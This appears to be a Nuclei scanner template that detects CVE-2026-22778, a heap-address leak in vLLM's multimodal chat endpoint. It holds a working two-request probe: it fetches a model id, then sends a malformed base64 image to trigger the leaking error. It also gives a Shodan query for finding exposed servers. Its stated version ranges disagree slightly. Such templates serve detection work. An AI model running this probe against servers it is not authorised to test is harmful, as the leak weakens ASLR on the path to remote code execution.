vLLM 0.8.3 - 0.14.0 - Information Disclosure

id: CVE-2026-22778

info:
  name: vLLM 0.8.3 - 0.14.0 - Information Disclosure
  author: kenlacroix
  severity: critical
  description: |
    vLLM 0.8.3 to - 0.14.1 contains an information disclosure caused by leaking a heap address in error messages from the multimodal endpoint when processing invalid images, letting remote attackers reduce ASLR entropy, exploit requires sending invalid images.
  impact: |
    Remote attackers can leak heap addresses, significantly reducing ASLR effectiveness and enabling further exploitation like remote code execution.
  remediation: |
    Upgrade to version 0.14.1 or later.
  reference:
    - https://github.com/vllm-project/vllm/security/advisories/GHSA-4r2x-xpjr-7cvv
    - https://orca.security/resources/blog/cve-2026-22778-vllm-rce-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22778
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-22778
    epss-score: 0.18287
    epss-percentile: 0.97244
    cwe-id: CWE-209
  metadata:
    verified: true
    max-request: 2
    vendor: vllm
    product: vllm
    shodan-query: http.html:"/v1/models" http.html:"vllm"
  tags: cve,cve2026,vllm,llm,ai,disclosure,exposure,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /v1/models HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"id\":")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: model
        part: body
        internal: true
        group: 1
        regex:
          - '"id"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"model":"{{model}}","messages":[{"role":"user","content":[{"type":"text","text":"{{randstr}}"},{"type":"image_url","image_url":{"url":"data:image/png;base64,bm90YW5pbWFnZQ=="}}]}],"max_tokens":1}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(body, "_io.BytesIO object at 0x")'
        condition: and